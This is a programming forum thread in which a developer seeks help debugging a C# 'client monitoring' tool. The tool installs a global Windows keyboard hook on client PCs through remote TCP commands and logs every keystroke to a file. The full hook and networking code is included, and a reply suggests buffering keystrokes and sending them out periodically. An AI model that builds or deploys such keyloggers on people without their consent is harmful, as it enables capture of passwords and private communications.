First of all, the keylogger that i am developing is not at all for offensive and destructive purposes. :)

I am developing a client monitoring application in C#.NET.
Keylogging is one of the features in my application.
Though i have developed the code for the keylogger, i have not been able to implement it properly in my application.

There are two projects in my solution.
The UserInterface - for server side.
The Tracker - for client side PCs.
The keylogging module Keylogger is in the Tracker project.

I have used the helper classes for socket programming - TcpClient, TcpListener and NetworkStream to help them out.

Also, i am using asynchronous mode for communication.

Though i have attached the whole code with this post, i am posting the part of code with which i am facing the problem :

//This code resides on the server-side monitoring interface.When //the administrator hits a btnKeyLog button, a message //"StartKeyLog" is sent to the respective client, and the keylogging //is handled on the client.
private void btnKeyLog_Click ( object sender, EventArgs e )
{
	messageBuffer = new byte[100];

	if ( btnKeyLog1.Text == "Start Keylogging" )
	{
		btnKeyLog1.Text = "Stop Keylogging";
		message = "StartKeyLog";
				
		messageBuffer = Encoding.ASCII.GetBytes ( message );
		try
		{
                //begin writing on the stream.
		clientConnections[0].networkStream.BeginWrite (messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataWrite ), null );
		}
		catch ( Exception exc )
		{
			MessageBox.Show ( exc.Message + exc.StackTrace );
		}
	}
	else
	{
		btnKeyLog1.Text = "Start Keylogging";
		message = "StopKeyLog";
				
		messageBuffer = Encoding.ASCII.GetBytes ( message );
		try
		{
		clientConnections[0].networkStream.BeginWrite ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataWrite ), null );
		}
		catch ( Exception exc )
		{
			MessageBox.Show ( exc.Message + exc.StackTrace );
		}
	}
}

Now, the client-side code :

//the following method is the callback method (called by //TcpListener.BeginAcceptTcpClient() )that accepts the connection //and starts reading using BeginRead() :
public void onConnectionRequested ( IAsyncResult ar )
{
	try
	{
	clientConnection.client = listener.EndAcceptTcpClient ( ar );
	//MessageBox.Show ( "UI connected!" );

	messageBuffer = new byte[100];
	clientConnection.networkStream = clientConnection.client.GetStream ( );
	clientConnection.networkStream.BeginRead ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataReceived ), null );
	}
	catch ( Exception exc )
	{
		MessageBox.Show ( exc.Message + exc.StackTrace );
	}
}


// the following is the callback function that will process the data //received from the server.
// temporarily, i am using a switch case structure.
public void onDataReceived ( IAsyncResult ar )
{
	int nBytesRead = 0;
	try
	{
		nBytesRead = clientConnection.networkStream.EndRead ( ar );
	}
	catch ( Exception exc )
	{
		MessageBox.Show ( exc.Message + exc.StackTrace );
	}
		message = Encoding.ASCII.GetString ( messageBuffer,0, nBytesRead);

		switch (message)
		{
			case "StartKeyLog" :
				MessageBox.Show ( "Keylogger started." );
                               //the following static method wraps the Win32 //implementation of SetWindowsHookEx - all given in Keylogger //module
				KeyboardHook.installHook ( );
                                //after this method is called, the hook is //actually installed; the callback function KeyboardHookProc is also //called. Here, keylogger seems to be working fine, except that the //system slows down considerably when i type keystrokes.
				break;

			case "StopKeyLog":
				MessageBox.Show ( "Keylogger stopped." );
                               // the following method releases the hook
				KeyboardHook.releaseHook ( );
				break;
		}
			
		try
		{
			messageBuffer = new byte[100];
			clientConnection.networkStream.BeginRead ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataReceived ), null );
		}
		catch ( Exception exc )
		{
			MessageBox.Show ( exc.Message + exc.StackTrace );
		}
		//MessageBox.Show ( "Stop" );
//as soon as this function ends, however, the callback function of //the keyboard hook stops being called; keystrokes are not //processed.
//the keystrokes are caught until this function the control is in this //function. i assume that it has to do something with the thread.
}

I am trying to explain the situation here.
To start keylogging, the server UI would send a message "StartKeyLog" to the client.
On receiving the message, the client will process it in the callback function "onDataReceived".In this function, the message is processed and the installHook() method is called, which would install the hook.

When i ran the application, the hook got installed; also, the KeyboardHookProc() callback got called properly, and the keystrokes were processed. But this was the case only till the onDataReceived callback method was alive. As soon as the that method ended, the KeyboardHookProc() stopped getting called; keys were no longer processed, as if the hook was never installed.

Another problem was that after the hook got installed, the system got considerably slow when i hit any key.

My assumption is that both the things have something to do with the threading that happens here. But, i am not able to get the exact problem.
I have tried my best to explain the situation.Still, any questions are welcome.
Could anyone provide me with the solution??

Attachments
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Windows.Forms;
using System.Threading;
using NetworkTracker.Tracker;

namespace NetworkTracker.Tracker.Keylogger
{
	public static class HookAPIs
	{
		public delegate IntPtr HookDelegate (int processCode, IntPtr wParam, IntPtr lParam);

		[DllImport ( "user32.dll", CharSet = CharSet.Auto, SetLastError = false )]
		public static extern IntPtr SetWindowsHookEx ( int hookType, HookDelegate hookCallbackFunc, IntPtr hookDll, uint threadToBeHooked );

		[DllImport ( "user32.dll", CharSet = CharSet.Auto, SetLastError = false )]
		[return: MarshalAs ( UnmanagedType.Bool )]
		public static extern bool UnhookWindowsHookEx ( IntPtr hookHandle );

		[DllImport ( "user32.dll", CharSet = CharSet.Auto, SetLastError = false )]
		public static extern IntPtr CallNextHookEx (IntPtr hookHandle, int keyEvent, IntPtr wParam, IntPtr lParam );

		[DllImport ( "kernel32.dll", CharSet = CharSet.Auto, SetLastError = false )]
		public static extern IntPtr GetModuleHandle ( string moduleName );
	}

	public static class KeyboardHook
	{
		private static HookAPIs.HookDelegate hookDelegate = hookCallback;
		private static IntPtr hookHandle = IntPtr.Zero;

		public static void installHook ( )
		{
			
			Process currentProcess = Process.GetCurrentProcess ( );
			ProcessModule mainModule = currentProcess.MainModule;

			hookHandle = HookAPIs.SetWindowsHookEx ( (int) HookTypes.KeyboardHook, hookDelegate, HookAPIs.GetModuleHandle(mainModule.ModuleName), 0 );
			MessageBox.Show (mainModule.ModuleName);
		}

		public static void releaseHook ()
		{
			HookAPIs.UnhookWindowsHookEx ( hookHandle );
		}

		private static IntPtr hookCallback ( int processCode, IntPtr wParam, IntPtr lParam )
		{
			MessageBox.Show ( "call back" );
			MessageBox.Show ( Convert.ToString ( processCode ) );
			int keyEvent = wParam.ToInt32();
			if ( processCode >= 0 && ( keyEvent == (int) KeyEvents.NonSystemKeyDown || keyEvent == (int) KeyEvents.SystemKeyDown ) )
			{
				int keyCode = Marshal.ReadInt32 ( lParam );

				TrackerForm.processKey ( (Keys) keyCode );
				//ThreadPool.QueueUserWorkItem ( new WaitCallback ( TrackerForm.processKey ), (Keys) keyCode );
			}

			return HookAPIs.CallNextHookEx ( hookHandle, processCode, wParam, lParam );
		}
	}

	public enum HookTypes : int
	{
		KeyboardHook = 13
		//MouseHook = 
	}

	public enum KeyEvents : int
	{
		NonSystemKeyDown = 0x100,
		SystemKeyDown = 0x104
	}
}
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.IO;
using NetworkTracker.Tracker.Keylogger;


namespace NetworkTracker.Tracker
{
	public struct ClientConnection
	{
		public TcpClient client;
		public NetworkStream networkStream;
	}

	public partial class TrackerForm : Form
	{
		private ClientConnection clientConnection;
		private TcpListener listener;
		//private static StreamWriter sw;
		private byte[ ] messageBuffer;
		private byte[ ] keyLogBuffer;
		private ASCIIEncoding encoder;
		string message;
	
		public TrackerForm ( )
		{
			try
			{
				InitializeComponent ( );
				//sw = new StreamWriter ( "C:\\KeyLog.txt", true );
				encoder = new ASCIIEncoding ( );
				clientConnection = new ClientConnection ( );
				startListening ( );
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}

		}

		public void startListening( )
		{
            try
            {
				listener = new TcpListener ( IPAddress.Any , 40000 );
				listener.Start ( );
				//MessageBox.Show ( "Started Listening..." );

				listener.BeginAcceptTcpClient ( new AsyncCallback ( onConnectionRequested ) , null );
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}
		}

		public void onConnectionRequested ( IAsyncResult ar )
		{
			try
			{
				clientConnection.client = listener.EndAcceptTcpClient ( ar );
				//MessageBox.Show ( "UI connected!" );

				messageBuffer = new byte[100];
				clientConnection.networkStream = clientConnection.client.GetStream ( );
				clientConnection.networkStream.BeginRead ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataReceived ), null );
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}
		}

		public void onDataReceived ( IAsyncResult ar )
		{
			int nBytesRead = 0;
			try
			{
				nBytesRead = clientConnection.networkStream.EndRead ( ar );
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}

			//string message = encoder.GetString (messageBuffer);
			message = Encoding.ASCII.GetString ( messageBuffer,0, nBytesRead);
			//string temp = message + "Message";
			//MessageBox.Show ( temp);
			//MessageBox.Show ( nBytesRead);


			if ( message.Equals ( "StartKeyLog" ) || message.Equals ( "StopKeyLog" ) )
				MessageBox.Show ( "Bane same che.." );

			switch (message)
			{
				case "StartKeyLog" :
					MessageBox.Show ( "Keylogger started." );
					KeyboardHook.installHook ( );
					break;

				case "StopKeyLog":
					MessageBox.Show ( "Keylogger stopped." );
					KeyboardHook.releaseHook ( );
					break;

				default :
					MessageBox.Show ( "kai thayu nai" );
					break;
			}
			MessageBox.Show ( "Stop" );

			
			try
			{
				messageBuffer = new byte[100];
			//	System.DateTime timeNow = new System.DateTime ( System.DateTime.Now );
				//MessageBox.Show ( timeNow.ToString ( ) );	
				clientConnection.networkStream.BeginRead ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataReceived ), null );
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}
			//System.DateTime timeNow = new System.DateTime ( System.DateTime.Now );
			///MessageBox.Show ( timeNow.ToString ( ) );
			MessageBox.Show ( "Stop" );
		}

		public static void processKey ( object o )
		{
			MessageBox.Show ( "control reached" );
			Keys key = (Keys) o;
			StreamWriter sw = new StreamWriter ( @"C:\Keylog.txt", true );
			//Console.WriteLine ( key );
			sw.Write ( key );
			sw.Write ( " " );
			sw.Flush ( );
			sw.Close ( );
		}

		private void TrackerForm_Load ( object sender, EventArgs e )
		{

		}

		private void TrackerForm_FormClosing ( object sender, FormClosingEventArgs e )
		{

		}

		private void timer1_Tick ( object sender, EventArgs e )
		{

		}
	}
}
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using NetworkTracker.Tracker.Keylogger;

namespace NetworkTracker.UserInterface
{
	public struct ClientConnection
	{
		public TcpClient client;
		public NetworkStream networkStream;
	}

	public partial class MainInterface : Form
	{
		private ClientConnection[ ] clientConnections;
		private byte[ ] messageBuffer;
		private string message;
		private ASCIIEncoding encoder = new ASCIIEncoding();

		public MainInterface ( )
		{
			InitializeComponent ( );

			clientConnections = new ClientConnection[5];
		}

		private void btnConnect1_Click ( object sender, EventArgs e )
		{
			try
			{
				clientConnections[0].client = new TcpClient ( );
				//clientConnections[0].client.Connect ( IPAddress.Parse ( "192.168.100.1" ), 40000 );
				clientConnections[0].client.Connect ( IPAddress.Parse ( "192.168.100.2" ), 40000 );
				clientConnections[0].networkStream = clientConnections[0].client.GetStream ( );
				//MessageBox.Show ( "Connected to 192.168.100.1" );

				messageBuffer = new byte[100];
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}
		}

		private void btnConnect2_Click ( object sender, EventArgs e )
		{
			try
			{
				clientConnections[1].client = new TcpClient ( );
				clientConnections[1].client.Connect ( IPAddress.Parse ( "192.168.100.2" ), 40000 );
				clientConnections[1].networkStream = clientConnections[1].client.GetStream ( );
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}
		}

		private void btnKeyLog1_Click ( object sender, EventArgs e )
		{
			messageBuffer = new byte[100];

			if ( btnKeyLog1.Text == "Start Keylogging" )
			{
				btnKeyLog1.Text = "Stop Keylogging";
				message = "StartKeyLog";
				
				//messageBuffer = encoder.GetBytes ( message );
				messageBuffer = Encoding.ASCII.GetBytes ( message );
				try
				{
					clientConnections[0].networkStream.BeginWrite ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataWrite ), null );
				}
				catch ( Exception exc )
				{
					MessageBox.Show ( exc.Message + exc.StackTrace );
				}
			}
			else
			{
				btnKeyLog1.Text = "Start Keylogging";
				message = "StopKeyLog";
				
				//messageBuffer = encoder.GetBytes ( message );
				messageBuffer = Encoding.ASCII.GetBytes ( message );
				try
				{
					clientConnections[0].networkStream.BeginWrite ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataWrite ), null );
				}
				catch ( Exception exc )
				{
					MessageBox.Show ( exc.Message + exc.StackTrace );
				}
			}
		}

		private void onDataWrite ( IAsyncResult ar )
		{
			try
			{
				clientConnections[0].networkStream.EndWrite ( ar );
			}
			catch ( Exception exc )
			{
				MessageBox.Show ( exc.Message + exc.StackTrace );
			}
			message = null;
		}

	}
}

KeyboardHookProc() stopped getting called:

I cant be sure of this without you posting a sample application, but from the sound of it you are either closing the connection OR the connection variables is going out of scope and becomes breakfast for the garbage collector.

Another problem was that after the hook got installed, the system got considerably slow when i hit any key.

Most likely it would. From the looks of it you are hooking on the win32 keypress and sending that packet over ethernet to the listener. Imagine if every time you went to type a key your system pinged google.com to make sure you were on the internet. You should buffer the keypresses in a local cache and send them every second or two, or when the buffer gets so big. Do not do *anything* other than buffering the key in the delegate that gets the keypress information from windows.

messageBuffer = new byte[100];

I'm not sure why you have a size declared on your message buffer. The MTU of 99% of ethernet cards is 1492-1500 (minus ~160 bytes for the header) for so if you're trying to limit the connection to a single packet, get the frame size from PMTU discovery/MSS.

For more on MTU see:
http://en.wikipedia.org/wiki/Maximum_transmission_unit

I found an example of client-server communications with numeric commands/enums at:
See http://www.codeproject.com/KB/IP/ChatAsynchTCPSockets.aspx

I made a few "educated guesses" in my answer about the inner working of the application but it is hard to read that much code without being able to compile it easily. Let me know if I missed my mark on the functionality.

Good luck

I cant be sure of this without you posting a sample application, but from the sound of it you are either closing the connection OR the connection variables is going out of scope and becomes breakfast for the garbage collector.

Most likely it would. From the looks of it you are hooking on the win32 keypress and sending that packet over ethernet to the listener. Imagine if every time you went to type a key your system pinged google.com to make sure you were on the internet. You should buffer the keypresses in a local cache and send them every second or two, or when the buffer gets so big. Do not do *anything* other than buffering the key in the delegate that gets the keypress information from windows.


I'm not sure why you have a size declared on your message buffer. The MTU of 99% of ethernet cards is 1492-1500 (minus ~160 bytes for the header) for so if you're trying to limit the connection to a single packet, get the frame size from PMTU discovery/MSS.

For more on MTU see:
http://en.wikipedia.org/wiki/Maximum_transmission_unit

I found an example of client-server communications with numeric commands/enums at:
See http://www.codeproject.com/KB/IP/ChatAsynchTCPSockets.aspx

I made a few "educated guesses" in my answer about the inner working of the application but it is hard to read that much code without being able to compile it easily. Let me know if I missed my mark on the functionality.

Good luck

sorry for a late reply. I was out for last 2 days. :)
anyways, you mentioned about some variable going out-of-scope. I have checked it out, but couldnt find one. Also, connection is not getting closed either.

Another thing you said is the processing part. No, i am doing almost exactly what you recommended, i.e., all the processing part has always been on the client-side. I have planned (though havent yet implemented) to send the data every minute or so, and not at every keystroke. For the time being, i have been writing the keystrokes to a file.

And you mentioned about MTU. Thanks, i didnt know about that. I would change to what you suggested. :)

Right now, i dont have a compilable and executable copy of my code at hand. I will post it tomorrow for your reference. Maybe, you could point out my mistake. :)

ok..i am attaching the compilable and executable code of the keylogger.
The interface is too much primary, so dont get bothered by it :)
"Connect 1" button would connect to your own PC (the loopback IP).
So you may try it out.
Please guide me in this problem :)

Could anyone help me out?? :|
I am stuck at this point since last 5 days and now i am pulling my hairs off.

ya..to simplify my problem i would like to add the following :

The keylogger basically works perfectly (no slowdowns and every keystroke is logged) if i install the hook in the main thread (for eg., in the constructor of the form).
However, it doesnt work at all - hook gets installed, but callback is not called even once; also it slows down for 3-4 seconds; no keystroke is logged - if i install the hook in some subordinate thread (for eg., in NetworkStream.BeginRead() or a created thread specially for keylogger).
Also, i had a messagebox in the above two subordinate thread i mentioned above. The messagebox was just after the "installHook" method (for debugging purpose). Now, if i dont hit the messagebox, then the keystrokes were logged (no slowdown too).
As soon as i hit the messagebox, it all goes the wrong way - a slowdown for 2-3 seconds, and then nothing is logged.

I have explained in as simple manner as i could. I am desperate for some guidance. :|

I know it is not appropriate to reply to such an old thread, but I do want to know something about your client monitoring program. Have you finished developing your keylogger program? Can I use it for free? I need a staff monitoring program and I have made a lot of searches on Google, but I can't find a good one for me. Fully featured keylogger like Micro keylogger is too expensive and cheap one can not suit my demand.

This question has already been answered. Start a new discussion instead.